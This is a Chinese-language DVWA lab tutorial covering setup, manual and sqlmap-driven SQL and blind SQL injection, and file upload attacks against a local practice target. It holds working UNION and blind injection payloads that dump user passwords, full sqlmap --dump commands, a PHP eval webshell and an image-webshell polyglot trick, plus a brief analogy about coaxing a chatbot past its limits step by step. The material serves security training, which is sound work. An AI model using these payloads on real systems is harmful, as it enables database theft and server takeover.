DVWA靶场

DVWA是指Damn Vulnerable Web Application,是一个用于教育和训练网络安全人员的虚拟漏洞应用程序。DVWA模拟了一个包含了多种常见Web安全漏洞的虚拟环境,包括SQL注入、XSS攻击、CSRF攻击等等。通过使用DVWA,安全人员可以学习和实践各种Web安全漏洞的检测和防范方法,以增强对实际应用程序的安全性评估和防护能力。

重点重点:

声明 本文章中所有内容仅供学习交流使用,且本文章内容均基于靶场测试练习,不用于其他任何目的,抓包内容、敏感网址、数据接口等均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关!本文章未经许可禁止转载,禁止任何修改后二次传播,擅自使用本文讲解的技术而导致的任何意外,作者均不负责,若有侵权,请在CSDN 私信 联系作者立即删除!

DVWA靶场一共有十个模块:

  • 暴力(破解)、
  • 命令行注入、
  • 跨站请求伪造、
  • 文件包含、
  • 文件上传、
  • 不安全的验证码、
  • SQL注入、
  • SQL盲注、
  • 弱会话ID、
  • XSS漏洞(DOM型跨站脚本、反射型跨站脚本、 存储型跨站脚本)

提示:本文章并不会写所有的题目

一. DVWA 靶场搭建

1.下载phpstudy

  • 下载地址:小皮面板(phpstudy) - 让天下没有难配的服务器环境!
    • (phpStudy是一个PHP调试环境的程序集成包。恰好我们可以用到"PHP+Mysql+Apache"。)

  • 安装 phpMyAdmin 

phpMyadmin访问地址: http://localhost/phpMyAdmin4.8.5/index.php


 

2. 搭建DVWA靶场

下载地址:GitHub - digininja/DVWA: Damn Vulnerable Web Application (DVWA)

下载完成后:解压

将下载解压好的dvwa解压,重命名为 dvwa,然后放到phpstudy安装目录中的 www下

打开dvwa目录下,找到config目录,打开config.inc.php.dist 文件

将文件中mysql连接内容修改成你自己本地的mysql连接信息

修改成功后,将文件名config.inc.php.dist  修改为 config.inc.php

然后打开phpstudy,开启Apache,开启Mysql

这里的php版本是:php7.3.4

浏览器访问:http://127.0.0.1/dvwa

3. 初始化DVWA

浏览器访问:http://127.0.0.1/dvwa,点击create / Reet Database 创建数据库

然后稍等几秒钟,然后就会重定向到http://127.0.0.1/dvwa/login.php页面

这里的登录账号密码默认是:

  • 账号:admin
  • 密码:password

登录成功后

4. DVWA 


1.Brute Force(暴力(破解))
2.Command Injection(命令行注入)
3.CSRF(跨站请求伪造)
4.File Inclusion(文件包含)
5.File Upload(文件上传)
6.Insecure CAPTCHA (不安全的验证码)
7.SQL Injection(SQL注入)
8.SQL Injection(Blind)(SQL盲注)
9.XSS(Reflected)(反射型跨站脚本)
10.XSS(Stored)(存储型跨站脚本)



5. 用前说明

学习本章前,将安全级别调整到最低:Low,记得点击Submit

二. 手工 sql注入  (SQL Injection)

SQL注入是一种常见的网络安全漏洞,其利用了Web应用程序的漏洞,通过在用户输入的数据中插入恶意的SQL代码来攻击数据库。当Web应用程序未能正确地过滤、转义或验证用户输入时,攻击者可以通过SQL注入获得对数据库的未经授权的访问权限和控制权。

SQL注入攻击的原理是通过构造恶意的SQL查询语句来绕过应用程序的身份验证和授权机制,从而使攻击者能够执行任意的SQL命令。攻击者可以利用这种漏洞来获取、修改、删除或插入数据库中的数据,甚至执行系统命令。

1. sql注入介绍

sql注入,攻击者在web表单或者页面请求的查询字符串中通过注入恶意的 sql 命令,从而使数据库执行恶意的sql语句

2. sql注入常见场景

以下是SQL注入的常见场景:

  • 用户登录和认证:攻击者可以通过注入恶意代码来绕过身份验证或访问其他用户的帐户。
  • 用户输入表单:包括搜索框、评论框、注册表单等,攻击者可以在输入框中注入SQL代码,从而执行恶意操作。
  • URL参数:攻击者可以在URL中的参数中注入SQL代码,从而绕过访问控制和执行未授权操作。
  • 数据库错误消息:当数据库出错时,错误消息可能会包含敏感信息,攻击者可以利用这些信息来注入SQL代码。
  • 后端数据库查询:攻击者可以在后端数据库查询语句中注入恶意SQL代码,从而直接操作数据库。
  • 文件上传功能:攻击者可以通过恶意上传文件来注入SQL代码,从而执行任意操作。

以上,这些只是一些常见的场景,实际上SQL注入攻击可以发生在任何涉及数据库的应用程序中

3. 实践,难度-low()

1. 打开dvwa靶场,找到 sql injection(sql注入) 选项

2. 在表单中输入正常数据,可以看到是可以正常输出的

3. 点击View Source 查看源码

4. 分析代码

  • 代码解读:$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    1. 首先定义一个 $query 作为查询数据的 数据存储变量
    2. 从 users表中查询 列为first_name和列为last_name 
      1. SELECT first_name,last_name FROM users
    3. 查询的条件是 user_id = 输入框输入的值,如果存在的话就返回数据,不存在的话就没返回:
      1. WHERE user_id = "$id" 
  • 问题:
    1. 通过以上的代码解读可以发现,输入框输入的内容并没有做数据校验,如何就直接放sql语句去进行查询了。
    2. WHERE user_id = "$id"  从这段代码中可以看出,存在一个字符型注入

5. 判断是否存在注入,注入的类型是字符型,数字型,还是搜索型

  • 1. 输入 1' and '1'='1 ,查询成功
  • 2. 输入 1' and '1'='2,查询失败,结果返回为空,说明存在字符型注入
  • 3. 知道了是字符型注入,字符型注入需要找闭合符号
    • 输入 1' and 1=1,之后报错,说明是单引号闭合

6. 猜解sql查询语句中的字段数

  • 可以通过 group by 或者 order by 查询
  • 1. 输入 1' order by 1 # ,将 by 前的字段不断网上递增,慢慢的测出sql中的字段数,
  • 2. 最终 1' order by 3 # 在第3个字段开始报错,说明只有2个字段

7. 确定回显的字段顺序

  • 1. 输入 1' union select 1,2 #
    • 回显成功,说明执行的sql语句为,select firstname,surname from users where user_id = id

8. 获取当前数据库名称

  • 1. 输入 1' union select 1,database()#
    • 查询出来的数据库名称是 dvwa

9.查询数据库中的表名

  • 1. 输入 1' union select 1,table_name from information_schema.tables where table_schema='dvwa
  • 爆表了,users和guestbook就是数据表
  • 2. 如果数据库中的表很多的话,可以使用 group_concat()方法将表连在一起:
    • 1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa

10.获取users表中字段名

  • 1. 输入:1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users

11.  查询users表中的user和password字段数据

  • 1. 输入:1' union select group_concat(user_id,first_name,last_name), group_concat(user,password) from users#

结束:

4. 实践,难度-Medium(中等)

难度变了之后,从输入框变成了下拉单选框

0. 预备知识-了解

打开控制台,先发送一个请求,然后以fetch格式复制,然后复制到控制台

接下来就使用fetch格式在浏览器控制台对id的值进行修改测试,这里不就使用抓包工具了


1. 判断是否存在注入,注入的类型是字符型,数字型,还是搜索型

  • 通过手动点击submit知道了1搜索的值是admin
  • 那么接下来使用fetch格式在控制台修改来判断注入的类型是字符型还是数字型

将id的值修改为 2-1,如果得到的结果是 admin 那么就可以确定是数字型注入的方式

返回的数据是admin,那么这是一个数字型输入的方式


2.猜解sql查询语句中的字段数

输入 id=2-1 order by 3 的时候报错了,那么说明,字段只有1,2

字段数为:2


3. 确定回显的字段顺序

输入:id=1 union select 1,2 #

那么执行的查询语句应该是:select firstname,surname from users where user_id = id


4. 获取当前数据库名称

方法一:获取数据库名称

  •  输入:id=1 union select 1,database()#

方法二:获取数据库版本号和数据库名称

  • 输入:id=1 union select version(),database() 

5.查询数据库中的表名

  • 输入:id=1 union select 1,table_name from information_schema.tables where table_schema=database()

6.查询users数据表的字段名

输入:id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273

因为注入点是数字型,所以这里推断查询时的users要么是十六进制要么是字符串的形式,而MySQL默认支持16进制编解码

0x7573657273是16进制编码后的users,


7.  查询users表中的user和password字段数据

  • 输入: id=1 union select group_concat(user_id,first_name,last_name), group_concat(user,password) from users#

5. 实践,难度-High()

在弹出的窗口中输入内容,点击submit,内容将显示在 原来的界面中

1. 查找注入点,判断是字符型还是数字型,还是搜索型

  • 这里输入2-1,看看结果是admin还是Gordon,输出的内容是2,那么这是一个字符型的注入点

2. 查找字符型的闭合方式

  • 输入:2' ,或者 2" 或者 2') 或 2") 看携带那个符号报错,那么就是使用了那个闭合方式
  • 这里的闭合方式是 单引号 '

3. 猜解sql查询语句中的字段数

  • 输入:1' order by 3 -- hello 时报错,那么可以说明 字段数只有2

4. 确定回显的字段顺序

  • 输入:1' union select 1,2 -- hello

5. 输出数据库名称,和数据库版本

  • 输入:1' union select version(),database()-- hello

6.查询当前数据库下的所有表名

  • 输入:1' union select version(),group_concat(table_name) from information_schema.tables where table_schema=database() -- hello

7. 查询users表下的所有字段数

  • 输入:1' union select version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- hello

8. 查询users表中的user和password字段

  • 输入:222' union select user,password from users limit 0,1 -- hello

关于High难度 为什么在每个执行语句后面都假 -- hello,

首先看代码:

  • 带上-- hello是为了注释掉 LIMIT 1;,
  • 这里LIMIT 1表示只返回查询结果的第一行
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

加上要执行的恶意sql后,后面的Limit 1 就被注释了

SELECT first_name, last_name FROM users WHERE user_id = '222' union select user,password from users limit 0,1 -- hello' LIMIT 1;

三. 工具 sql注入 (SQL Injection)

1. sqlmap工具安装

介绍:

  • sqlmap是一款开源的自动化SQL注入工具,用于自动化检测和利用Web应用程序中的SQL注入漏洞。它具有强大的参数化查询和自定义注入脚本的功能,可以通过检测和利用SQL注入漏洞来获取数据库的敏感信息,如用户名、密码和其他重要数据。
  • sqlmap支持多种数据库管理系统,包括MySQL、Oracle、PostgreSQL和Microsoft SQL Server等。它可以通过发送特制的HTTP请求来检测和利用SQL注入漏洞,还可以使用不同的技术和方法来绕过应用程序的防御机制,以获取更多的信息和访问权限。
  • sqlmap具有命令行界面和图形用户界面两种使用方式,用户可以根据自己的需求选择合适的界面来操作。它支持各种高级注入技术,如时间延迟注入、布尔盲注和报错注入等,可以高效地检测和利用各种类型的SQL注入漏洞。
  • 总之,sqlmap是一款功能强大的SQL注入工具,可以帮助安全研究人员和渗透测试人员自动化检测和利用Web应用程序中的SQL注入漏洞,从而提高安全性和保护敏感数据。

下载:GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

提示:如果你有kali虚拟机,也可以使用kali上自带的sqlmap


2. 快速上手sqlmap

1. 初体验-检测注入点:难度为 low 的 SQL Injection

如果测试的接口是登录后的那么就需要携带cookie给sqlmap,以下是关于cookie的获取方式

打开开发者工具,点击网络,然后重新刷新网页,找到sqli开头的文档,找到cookie然后复制

或者打开开发者工具后,在控制台输入,copy(document.cookie),就会自动复制

  1. 疑似存在注入点的url:http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
  2. 打开sqlmap,执行命令:检测注入点
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=tvdumf3v7rku6h1l7st3fjrv6v'

  3. 执行完成的结果:

       


2. 初体验-检测注入点:难度为 High 的 SQL Injection

  • 主要是学习sqlmap,怎么用于对拥有二级页面的网址进行扫描
  • sqlmap针对于存在二级页面的使用方式
  • 这里可以将输入数据的页面称为一级页面,返回数据的页面称为二级页面

使用命令:

python .\sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/session-input.php" --data="id=2&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=d1hbjkficvsajjoqbcftdgjtn4"

命令解读:python .\sqlmap.py -u "提交数据的网址" --data="POST请求的数据" --second-url="返回数据的网址" --cookie="security=high; PHPSESSID=d1hbjkficvsajjoqbcftdgjtn4"


3.常用命令

基本的常用命令:

  • 检测注入点:sqlmap.py -u "疑似存在注入点的url"
  • 查看所有数据库:sqlmap.py -u "疑似存在注入点的url" --dbs
  • 查看当前使用的数据库:sqlmap.py -u "疑似存在注入点的url" --current-db
  • 查看数据表:sqlmap.py -u "疑似存在注入点的url" --tables
    • 或指定某个查看数据库的数据表名:sqlmap.py -u "疑似存在注入点的url" -D ""数据库 --tables
  • 查看数据表所有数据:sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' --dump
    • 或者查看数据表中指定字段的数据:sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' -C "user,password" --dump
  • 获取数据库密码:sqlmap.py -u "疑似存在注入点的url" --password
  • 获取所有数据库用户:sqlmap.py -u "疑似存在注入点的url" --users
  • 指定扫描线程:sqlmap.py -u "疑似存在注入点的url" --threads=10
  • 设置cookie:sqlmap.py -u "疑似存在注入点的url" --cookie="cookie值"
  • 获取数据表字段:sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' --columns
  • 选项默认全选Y:sqlmap.py -u "疑似存在注入点的url" --batch
    • 使用–batch参数,可以在所有需要用户输入的部分(通常是询问执行yes还是no),执行默认操作,不需要用户再输入
  • 注入探索等级,一般用4:sqlmap.py -u "疑似存在注入点的url" --level=1
    • --level 一共有5个等级:1-5
  • 设置注入类型:sqlmap.py -u "疑似存在注入点的url" --technique="注入的类型"
    • B:Boolean-based blind(布尔型注入)
    • E:Error-based(报错型注入)
    • U:Union query-based(可联合查询注入)
    • S:Stacked queries(可多语句查询注入)
    • T:Time-based blind(基于时间延迟注入)
    • Q:Inline queries(嵌套查询注入)
    • 使用方式:
      • 1. 检测注入点:sqlmap.py -u "疑似存在注入点的url"
      • 2. 知道存在的注入点后-设置technique:sqlmap.py -u "疑似存在注入点的url"  --technique="B"
  • 以上的命令都能联合使用:
    • 例如:
      sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' --columns -threads=10 --dump 

关于level参数和risk参数

  • level参数:--level 参数决定了sqlmap在检测sql注入时的努力程度
    • level 1:默认的level等级,会测试GET和POST请求中的参数
    • level 2:除了前面提到的,还会检测cookie中的数据
    • level 3:user-agent和referer头部也纳入检测返回
    • level4~5:会尝试各种payloads 和边界条件,确保不放过任何潜在的注入点
      • 关于什么是payloas:
        • "payload" 是一个常见的术语,指的是在攻击或渗透测试中用于执行某种操作或达到某种目的的恶意代码或数据。 在攻击者的角度,payload 可能是一段恶意代码,用于利用系统或应用程序中的漏洞,以获取未授权的访问权限、执行命令、窃取敏感信息等。
      • 默认使用sqlmap中的payloads
      • 关于自定义payloads请在搜索引擎上查找相关资料
  • risk参数:--risk 与 --level 不同,-risk 参数更像是告诉 sqlmap:“我愿意承担多大的风险来进行这次测试
    • risk 1:安全第一,默认的风险等级,风险几乎为 0 
    • risk 2:除了默认的检测,还会尝试时间型盲注
    • risk 3:在风险等级2的基础上,在加上 OR 类型的布尔型盲注。这种方式在某些情况下可能会导致数据表的所有记录被更新,所以使用时需谨慎。
  • level 和 risk的区别:
    • 方向不同--level 更像是广度上的拓展,而 --risk 则是深度上的挖掘。
    • 场景不同:如果觉得默认的 GET 和 POST 参数检测不够,想要找找其它位置的注入点时,可以考虑加 --level 等级。如果可以确定某个位置就是存在注入点,或是强烈怀疑某个地方存在注入,但目前的 payload 覆盖不到,而且愿意承担风险进行深入测试时,可以考虑提升 --risk 等级。


四. sql 盲注  (SQL Injection (Blind))

1. sql盲注介绍

sql盲注,与一般的注入区别在于

  • 般的sql注入攻击者可以直接从页面上看到注入语句的执行结果。
  • sql盲注,攻击者通常是无法从显示的页面上获取执行结果的,甚至连注入语句是否执行都无从得知,因此称呼为盲注,盲注的难度比一般的sql注入要


手工-sql盲注过程举例:

  1. 在和机器人聊天的时候,这个机器人由很多数据训练起来,知道的知识很多,但是当你问到敏感的技术时,机器人的回答只会给你一些建议或者基本的示例demo,都是一些没有用的回答。
  2. 所以在和机器人聊天过程中,想要知道对应的内容需要一步一步的去突破,得到正确或者近似的答案


常见的盲注分类:

  • 基于布尔逻辑的盲注:
    • 该类型的盲注利用布尔逻辑运算符(如AND、OR、NOT)来查询数据库的真假值,从而确定数据库的结构和数据。
  • 基于时间延迟的盲注:
    • 该类型的盲注利用数据库执行SQL查询语句时的时间延迟来判断查询结果的真假值。
  • 基于错误信息的盲注:
    • 该类型的盲注利用数据库返回的错误信息来获取关于数据库结构和数据的信息,从而进行盲注攻击。
  • 基于联合查询的盲注:
    • 该类型的盲注利用UNION操作符来合并多个查询结果,从而获取更多的数据库信息。
  • 基于盲注工具的盲注:
    • 该类型的盲注利用专门的盲注工具(如SQLMap)来自动化地探测和利用SQL注入漏洞。


手工-sql盲注的步骤:

  1. 判断是否存在注入,注入的是字符型还是数字型
  2. 猜解数据库名
  3. 猜解数据库中的表名
  4. 猜解数据表中的字段名
  5. 猜解数据表中的数据

2. 实践,难度-low(低)

2.1 手工-布尔盲注

布尔 盲注是在不知道 SQL 查询的返回值,但是知道查询是否成功的情况下,猜测数据库中的敏感信息的手法。

1. 判断是否存在注入,注入的是数字型还是字符型

  1. 基于布尔的盲注
  2. 输入 1' and '1'='1,显示正常,说明存在字符型注入
  3. 输入 1' and '1'='2,显示不正常

2. 猜解数据库名字长度

  1. 想要猜解数据库名,首先需要知道数据库名称的长度,然后挨个猜解字符
  2. 输入 1' and length(database())=1#,显示不存在
  3. 输入 1' and length(database())=2#,显示不存在
  4. 输入 1' and length(database())=3#,显示不存在
  5. 输入 1' and length(database())=4#,显示存在,说明数据库名字的长度为4

3. 猜解数据库名称

  1. 使用二分法猜解数据库名字
  2. 输入:1' and ascii(substr(database(),1,1)) > 97#    显示正常
  3. 输入:1' and ascii(substr(database(),1,1)) < 118#   显示正常
  4. 输入:1' and ascii(substr(database(),1,1)) > 109#   显示不正常
  5. 输入:1' and ascii(substr(database(),1,1)) > 103#   显示不正常
  6. 输入:1' and ascii(substr(database(),1,1)) > 100#   显示不正常
  7. 输入:1' and ascii(substr(database(),1,1)) > 98#   显示正常
  8. 输入:1' and ascii(substr(database(),1,1)) > 99#   显示正常

以此类推重复以上的步骤,可以将范围缩小,得到数据库的名称为:dvwa


4. 猜解数据库中的表名

  1. 猜解数据库中有多少个表:
    1. 输入:1' and (select count(table_name) from information_schema.tables where table_schema=database())=1# 不存在
    2. 输入:1' and (select count(table_name) from information_schema.tables where table_schema=database())=2# 存在,数据库中存在2张表
  2. 猜解表名长度

    1. 输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1#  不存在

    2. 输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2#  不存在

    3. 输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=3# 不存在

    4. 输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=4# 不存在

    5. 输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=5# 不存在

    6. 输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6# 不存在

    7. 输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=7# 不存在

    8. 输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=8# 不存在

    9. 输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9# 存在,说明第一个表的长度是9

    10. 重复以上的步骤,将数字一直递增,最后猜解出的两个表名长度为,9和5

  3. 猜数据库表名称:

    1. 输入:1' and ascii( substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109#  存在

    2. 以此类推,把109慢慢向上递增

    3. 重复以上的步骤,将数字一直递增,最后猜解出的两个表名分别为:guestbook, users


5. 猜解数据表字段名

  1. 猜解每个字段长度:
    1. 输入:1' and length( substr((select column_name from information_schema.columns where table_name="users" limit 0,1),1))=7# 存在
    2. 重复以上的步骤,将数字一直递增,以此类推然后得到结果
  2. 猜解每个字段的字符:
    1. 输入:1' and ascii( substr((select column from information_schema.columns where table_name="users" limit 0,1),1,1))>97#  不存在
    2. 重复以上的步骤,将数字一直递增,以此类推然后得到结果

最后也数据库数据也是以上的方式猜出来的,很需要耐心,其他的两个难度级别这里就忽略了,因为和low差别不大

2.2 sqlmap-盲注

1.使用sqlmap 检测注入点

  1. 输入:
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=91qj74vb25r1bm5anlj5fpkkar"

  2. 发现存在一个时间盲注


2. 查看所有数据库名

  1. 输入:
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=91qj74vb25r1bm5anlj5fpkkar" --dbs

3. 获取当前数据库名

  1. 输入:
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=91qj74vb25r1bm5anlj5fpkkar" --current-db

4.获取dvwa数据库中的数据表名

  1. 输入:
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=91qj74vb25r1bm5anlj5fpkkar" -D "dvwa" --tables

5.获取数据表字段和列名

  1. 输入:
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=91qj74vb25r1bm5anlj5fpkkar" -D "dvwa" -T "users" --columns


6.获取数据库数据

  1. 输入:
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=91qj74vb25r1bm5anlj5fpkkar" -D "dvwa" -T "users" -C "user,password" --dump

3. 实践,难度-Medium(中等)

分析接口,这是一个post请求,那么我们使用sqlmap的时候就需要指定 post请求的参数

​python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --data="请求参数" ​

1.使用sqlmap 检测注入点

  • 输入:
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=cfolqk99fliurjou9hpb01cqiq" --batch
  • 检测到两种方式的注入点:布尔盲注和时间盲注


2. 获取当前数据库名称

  • 输入:
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=cfolqk99fliurjou9hpb01cqiq" --technique="B"  --current-db --batch

3.获取dvwa数据库中的数据表

  • 输入:
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=cfolqk99fliurjou9hpb01cqiq" --technique="B"  -D "dvwa" --tables --batch

4. 获取users数据表中的字段名

  • 输入:
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=cfolqk99fliurjou9hpb01cqiq" --technique="B"  -D "dvwa" -T "users" --columns --batch


5. 获取users数据表中的数据

  • 输入:
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=cfolqk99fliurjou9hpb01cqiq" --technique="B"  -D "dvwa" -T "users" -C "user,password" --dump --batch


4. 实践,难度-High()

分析:

  1. 提交数据是一个单独页面,POST请求,可以称为一级页面
  2. 显示数据是一个单独页面,GET请求,可以称为二级页面
  3. sqlmap针对双页面的使用:
    python .\sqlmap.py -u "一级页面地址" --data="post请求的参数" --second-url="二级页面地址" --cookie="id=1; security=high; PHPSESSID=tk4774aftuhu0hlvp0pb1o7thf" --batch

    或者也可以这样理解:

    python .\sqlmap.py -u "提交数据的接口" --data="post请求的参数" --second-url="返回数据的页面地址" --cookie="id=1; security=high; PHPSESSID=tk4774aftuhu0hlvp0pb1o7thf" --batch

1.使用sqlmap 检测注入点

  • 输入:
    python .\sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=tk4774aftuhu0hlvp0pb1o7thf" --batch


2. 获取数据库表名

  • 输入:
    python .\sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=tk4774aftuhu0hlvp0pb1o7thf" --current-db --batch

  • 数据库表名为:dvwa


3. 查询dvwa数据库中的数据表名称

  • 输入:
    python .\sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=tk4774aftuhu0hlvp0pb1o7thf" -D "dvwa" --tables --batch

  • dvwa数据库中的数据表:users和guestbook


4. 获取users数据表中的字段

  • 输入:
    python .\sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=tk4774aftuhu0hlvp0pb1o7thf" -D "dvwa" -T "users" --columns --batch


5. 获取users表中的数据

  • 输入:
    python .\sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=tk4774aftuhu0hlvp0pb1o7thf" -D "dvwa" -T "users" -C "user,password" --dump --batch

五. 文件上传 (File Upload)

1. 介绍

什么是文件上传漏洞?

  • 大部分的网站和应用系统都有上传功能,比如用户头像上传,图片上传,文档上传等。
  • 由于一些上传功能实现代码并没有严格限制用户上传的文件后缀,以及文件类型,导致允许攻击者向某个可通过web访问的目录上传任意php文件,并能够将这些文件传递给php解释器,就可以在远程服务器上执行任意php脚本
  • 当系统存在文件上传漏洞时,攻击者可以讲病毒,木马,webShell,其他恶意攻击脚本或者是包含了脚本的图片上传到服务器,这些文件将对攻击者后续攻击提供便利。
  • 根据具体漏洞的差异,上传的脚本可以是正常后缀的PHP,ASP以及JSP脚本。

产生文件上传漏洞的原因:

  • 文件上传时检查不严格。
  • 一些应用在文件上传时根本没有进行文件格式检查,导致攻击者可以直接上传恶意文件
  • 一些应用仅仅在客户端做了检查,而在专业的攻击者眼里几乎所有的客户端检查都等于没有检查, 攻击者可以通过NC,Fiddler等断点上传工具轻松绕过客户端的检查
  • 一些应用虽然服务器进行了黑名单检查,但是却可能忽略了大小写,如果讲 .php 改为 .Php 就可以绕过检查
  • 一些服务虽然在客户端进行了白名单检查却忽略了截断符如应用本来只允许上传 jpg 图片,那么可以构造文件名为 xxx.php.jpg,其中为十六进制的0x00字符.jpg骗过了应用的上传文件类型检查,但对于服务器来说,因为字符截断的关系,最终上传的文件变成了 xxx.php
  • 文件上传后修改文件名时处理不当。应用在服务端进行了完整的黑名单和白名单过滤,在修改已上传文件的文件名时百密一疏,允许用户修改文件名后缀
  • 如果应用只能上传 .doc 文件时攻击者可以先将 .php 文件后缀修改为 .doc 上传成功后在修改文件名时将后缀改回 .php
  • 使用第三方插件时,一些应用引入了带有文件上传功能的第三方插件,这些插件的文件上传功能可能存在上传漏洞,攻击者可以通过这些漏洞进行文件上传攻击

文件上传漏洞危害:

  • 文件上传是病毒或木马时,主要用于诱骗用于或者管理员下载执行或者直接自动运行
  • 上传文件是webShell时,攻击者可通过这些网页后面执行命令并控制服务器
  • 上传文件是其他恶意脚本时,攻击者可直接执行脚本进行攻击
  • 上传文件是恶意图片时,图片中可能包含了脚本,加载或点击这些图片时脚本会悄无声息的执行
  • 上传文件是伪装成正常后缀的恶意脚本时,攻击者可以借助本地文件包含漏洞执行该文件。
    • 例如:将bad.php 改成 bad.doc 上传到服务器在通过php的include,include_once,reqeuire,require_once 等函数执行

2. 实践,难度-low(低)

upload file对上传文件的大小做了限制,如果当前上传的文件大小超过100000,那么可以编辑修改为 value="10000000000" ,然后在重新上传

1. 编写简单的webshell脚本

  • 创建一个 cmd.php 的文件,在文件中插入以下代码
    <?php @eval($_POST['cmd']); phpinfo();?>

2. 上传cmd.php

上传成功后返回的路径:hackable/uploads/cmd.php


3. 访问webshell

  • http://127.0.0.1/dvwa/hackable/uploads/cmd.php

4. 执行命令

  • 在url中访问:http://127.0.0.1/dvwa/hackable/uploads/cmd.php?cmd=system("dir");
  • 可以看到 dir 命令执行了

5. 使用中国蚁剑连接webshell

使用蚁剑连接:http://127.0.0.1/dvwa/hackable/uploads/cmd.php

1. 右键->添加数据

连接密码就是POST请求接收的cmd参数名

3. 实践,难度-Medium(中等)

提交cmd.php测试看看 有什么变化

提示:Your image was not uploaded. We can only accept JPEG or PNG images. ,表示我们提交的文件不是一个 jpg或者png的格式,所以难度 Medium对上传的文件做了限制

打卡Burpsuite,选择Proxy

找到Intercept is on(拦截数据包),点击Open Browser(打开一个浏览器窗口)

打开Burp打开的浏览器中访问 dvwa中的upload上传漏洞

将cmd.php修改后缀名为 cmd.jpg,然后上传,拦截,修改,放行

这时候显示上传成功

访问上传的cmd.php webshell:http://127.0.0.1/dvwa/hackable/uploads/cmd.php

能成功访问webshell,在试试蚁剑的连接,也能正常连接

到这里Medium难度就结束了

4. 实践,难度-High(高)

High这关,对格式做了限制和文件大小也做了限制,换一个小一点的图片文件可以上传成功。

这一关使用Burp已经没用了,因为对文件头进行了限制,所以这里只能用图片码的方式了

  • 首先将cmd.php重命名为cmd.txt
  • 然后准备一张较小的图片 1.png

  • 使用管理员身份打开当前 cmd.txt和1.png 存在的路径
  • 然后执行以下命令,得到一个新的木马文件666.png 
    • copy 1.png /b + cmd.txt /a 666.png 

然后将666.png上传,发现上传成功了

访问上传的666.png:http://127.0.0.1/dvwa/hackable/uploads/666.png,可以看到是可以正常访问图片的

